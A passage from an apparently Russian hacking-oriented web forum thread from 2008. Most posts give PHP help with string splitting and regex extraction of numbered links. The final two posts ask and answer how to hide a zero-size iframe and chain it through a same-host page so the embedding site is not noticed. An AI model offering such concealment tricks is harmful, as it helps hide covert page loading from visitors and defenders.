for ($i = 3; $i < count($some); $i++) {
echo $some[$i] . " | ";
}
?>

Dr.Frank
03.05.2008, 21:05
как вариант:

<?php
$string="фбв бав :фв 7ыфв иьттифыв выалооти ываггрыддлти ываооои зшываи";
//$some=explode(" ",$string);
$text = str_replace(" ","|",$string);
$r=strpos($text,'|',0);
$r=strpos($text,'|',$r+1);
$r=strpos($text,'|',$r+1);
echo substr($text,$r+1);
?>

astrologer
03.05.2008, 21:13
<?php

$s = "фбв бав :фв 7ыфв иьттифыв выалооти ываггрыддлти ываооои зшываи";
echo str_replace(' ', '|', preg_replace('/^(.+? ){3}/', '', $s));

?>

Dimi4
03.05.2008, 21:29
спс, всем, особенно FeraS
++;)

Shadow_p1raT
04.05.2008, 06:18
NOmeR1 сделал всё как ты написал:

<?php
$file=file_get_contents("test1.html");
$g=preg_match_all('~<a[^>]+href=([^\s\n\x3E]+)[^>]*>~is', $file, $regs);
foreach($regs[1] as $key=>$value){
$pattern = 'http://www.site.to/view.php?ad=NUMBER';
preg_match_all('~' . str_replace('NUMBER', '\d+', preg_quote($pattern, '~') . '~i'), $value, $regEXP);
$regEXP[0] = array_unique($regEXP[0]);
echo('<pre>');
print_r($regEXP[0]);
echo('</pre>');
}
?>

В олтвет получаю вот это:
Array ( ) Array ( ) Array ( ) Array ( ) Array ( ) Array ( ) Array ( ) Array ( ) Array (
Что не так?

Macro
04.05.2008, 09:02
<?php
$file=file_get_contents('html.html');
$g=preg_match_all('~<a[^>]+href=[\'"]?([^\s\n]+=\d+)[\'"]?[^>]*>~is', $file, $regs);
$r=$regs[1];
foreach($r as $v)
{
print($v."<br>");
}
?>


Ну Номер1 и нагородил кода...

NOmeR1
04.05.2008, 09:29
Macro, всё лишнее нагородил он, т.к. не понял, как юзать код.
Shadow_p1raT, в $code должен находиться твой изначальный код, вот пример:
<?php

function my_sort($array) {
$new_array = array();
foreach($array as $value) {
$new_array[] = $value;
}
return $new_array;
}

// Изначальный Код
$code = '<a href=http://www.site.to/view.php?ad=334257>Правильная ссылка</a>
<a href=http://www.site.to/view.php?ad=334257>Правильная, но повторяющаяся ссылка</a>
<a href=http://www.site.to/view.php?ad=12344>Правильная ссылка</a>
<a href=http://www.site.to/view.php?ad=1345>Правильная ссылка</a>
<a href=http://www.site.to/view.php?ad=111>Правильная ссылка</a>
<a href=http://www.site.to/view.php?ad=222>Правильная ссылка</a>
<a href=http://www.site.to/view.php?ad=555>Правильная ссылка</a>
<a href=http://www.site.to/view.php?ad=000>Правильная ссылка</a>
<a href=http://www.site.to/view.php?ad=ASSS>Неправильная ссылка</a>
<a href=http://www.site.to/view.php?ad=>Неправильная ссылка</a>
<a href=http://www.site.to/view.php>Неправильная ссылка</a>
<a href=http://www.site.to/>Неправильная ссылка</a>
<a href=http://www.antichat.ru/view.php?ad=334257>Неправильная ссылка</a>
<a href=http://site.to/view.php?ad=334257>Неправильная ссылка</a>';

// Шаблон для ссылки (NUMBER может быть любым числом)
$pattern = 'http://www.site.to/view.php?ad=NUMBER';

preg_match_all('~' . str_replace('NUMBER', '\d+', preg_quote($pattern, '~') . '~i'), $code, $regEXP);
$regEXP[0] = array_unique($regEXP[0]); // Удаляем повторы
$regEXP[0] = my_sort($regEXP[0]); // Сортируем ключи массива по порядку

// Выводим массив
echo('<pre>');
print_r($regEXP[0]);
echo('</pre>');

?>
Вывод:
Array
(
[0] => http://www.site.to/view.php?ad=334257
[1] => http://www.site.to/view.php?ad=12344
[2] => http://www.site.to/view.php?ad=1345
[3] => http://www.site.to/view.php?ad=111
[4] => http://www.site.to/view.php?ad=222
[5] => http://www.site.to/view.php?ad=555
[6] => http://www.site.to/view.php?ad=000
)

Shadow_p1raT
04.05.2008, 12:23
Спасибо,особенно NOmeR1

*DeViL*
04.05.2008, 19:35
Есть тут один вопрос: как мне скрыть фрейм, в смысле сам сайт в фрейме, чтобы мой сайт не палился))
ну фрейм стандартного вида
<iframe src="http://site.ru/index.php" width="0" height="0" frameborder="0"></iframe>

может для этого какая прога есть или скрипт..

!{ra!{e/\/
04.05.2008, 20:30
*DeViL* можно тупо сделать фрейм на страничку с того же хоста
<iframe src="seach.html" width="0" height="0" frameborder="0"></iframe>
а в этом файле вписать фрейм на твой....так будет меньше палева..
ЗЫ а можно ли ифреймить *.php?